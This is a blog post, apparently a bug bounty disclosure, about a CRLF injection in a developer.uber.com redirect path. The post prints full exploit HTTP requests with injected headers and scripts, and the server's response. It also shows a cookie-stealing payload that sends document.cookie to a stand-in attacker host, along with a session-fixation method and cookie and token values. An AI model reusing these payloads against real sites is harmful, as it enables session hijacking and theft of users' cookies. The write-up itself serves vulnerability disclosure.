Hi all,
The website located at https://developer.uber.com/ suffers from CRLF injection. This allows me to inject JavaScript, HTML as well as arbitrary HTTP Headers. Besides this, I can change the HTTP Response code as well, to display whatever I want in the victim's browser.
The vulnerability resides in the path https://developer.uber.com/dashboard
Please note that navigating to this website as is, without logging in will give a 302 redirect to the login page. However, if we can send the following HTTP Request:
GET /dashboard/%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aSet-Cookie: oauth2_sid="r0Fs96ZB7tKfqSQ56jY7IlReA3wuF3o4/cLwQ02Pn8hdWLEfnkcD5Nc9ITruyiyUlNOTXu/le7IQLC9tNdvdEoiZYPZC3OXa7ZNQU4sT9ZGFQzF3kSyL8c8BgGGEWqH6"%0d%0a%0d%0a%3Chtml%3EHacker Content%3C/html%3E%0d%0a%0d%0a%3Cscript%3Ealert("Injected js")%3C/script%3E%0d%0a%0d%0a<!-- HTTP/1.1
Host: developer.uber.com
Referer: https://developer.uber.com/
Cookie: XSRF-TOKEN=OkkZ43igro0JS7lm%2B2pdjhh1%2FzzqkueR%2Fgfs4%3D; connect.sid=s%3AHgMm40tOJjVdF6js3Oxv8GP4.RE%2F3fmd02tETNwUaC8AhFzUhLSqsjcCYZo5NsgP%2BTf8;
Host: developer.uber.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Connection: close
The HTTP Response contains the injected HTTP Headers and the Cookie!
So apparently, the Web Application Server parses the current path of the web application (Which in this case is /dashboard) and just appends it to the Location header. So if we change the "Location" i.e. /dashboard/ to /dashboard/%0d%0aHeader: Random, then in the HTTP Response, the %0d%0a will create a new line following by a new header, "Header: Random".
Hence using injected Line breaks (CRLFs), we are able to add new HTTP Headers and content.
The Response is as follows:
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Fri, 25 Mar 2016 15:17:54 GMT
Content-Type: text/html
Content-Length: 154
Location: https://developer.uber.com/dashboard/
Content-Type: text/html
HTTP/1.1 200 OK
Set-Cookie: oauth2_sid="r0Fs96ZB7tKfqSQ56jY7IlReA3wuF3o4/cLwQ02Pn8hdWLEfnkcD5Nc9ITruyiyUlNOTXu/le7IQLC9tNdvdEoiZYPZC3OXa7ZNQU4sT9ZGFQzF3kSyL8c8BgGGEWqH6"
<html>Hacker Content</html>
<script>alert("Injected js")</script>
<!--
Connection: close
Set-Cookie: oauth2_sid=deleted; path=/; Expires=Thu, 01-Jan-1970 00:00:01 GMT
Strict-Transport-Security: max-age=0
X-XSS-Protection: 1; mode=block
Cache-Control: max-age=0
<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
As is evident from the Response, both the HTML and Javascript injections work. The first image screenshot of the HTTP Response Render. The rendering of the JavaScript makes this a Cross-Site Scripting vulnerability as well, and since the cookies aren't "Secure" and "HttpOnly" (bugs which aren't allowed in the bounty! ;]), they can easily be extracted by JavaScript and POSTed to my server, making it a Cookie Stealing vulnerability as well. Using this HTTP Request:
GET /dashboard/%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aSet-Cookie: oauth2_sid="r0Fs96ZB7tKfqSQ56jY7IlReA3wuF3o4/cLwQ02Pn8hdWLEfnkcD5Nc9ITruyiyUlNOTXu/le7IQLC9tNdvdEoiZYPZC3OXa7ZNQU4sT9ZGFQzF3kSyL8c8BgGGEWqH6"%0d%0a%0d%0a%3Chtml%3EHacker Content%3C/html%3E%0d%0a%0d%0a%3Cscript%3Evar+img=new+Image();img.src="http://www.hacker.com/incoming.php?coo="%20+%20document.cookie;%3C/script%3E%0d%0a%0d%0a<!-- HTTP/1.1
Host: developer.uber.com
Referer: https://developer.uber.com/
Cookie: XSRF-TOKEN=OkkZ43igro0JS7lm%2B2pdjhh1%2FzzqkueR%2Fgfs4%3D; connect.sid=s%3AHgMm40tOJjVdF6js3Oxv8GP4.RE%2F3fmd02tETNwUaC8AhFzUhLSqsjcCYZo5NsgP%2BTf8;
Host: developer.uber.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Connection: close
Finally, the setting of arbitrary Cookies also renders the Web Application to a Session Fixation vulnerability, wherein, I can set an arbitrary cookie in the GET request and wait for the victim to click on the link and login. In this case, the cookie which I've set will then identify the victim's account. Using the same cookie in my browser will authenticate the attacker to his account as well.
No comments:
Post a Comment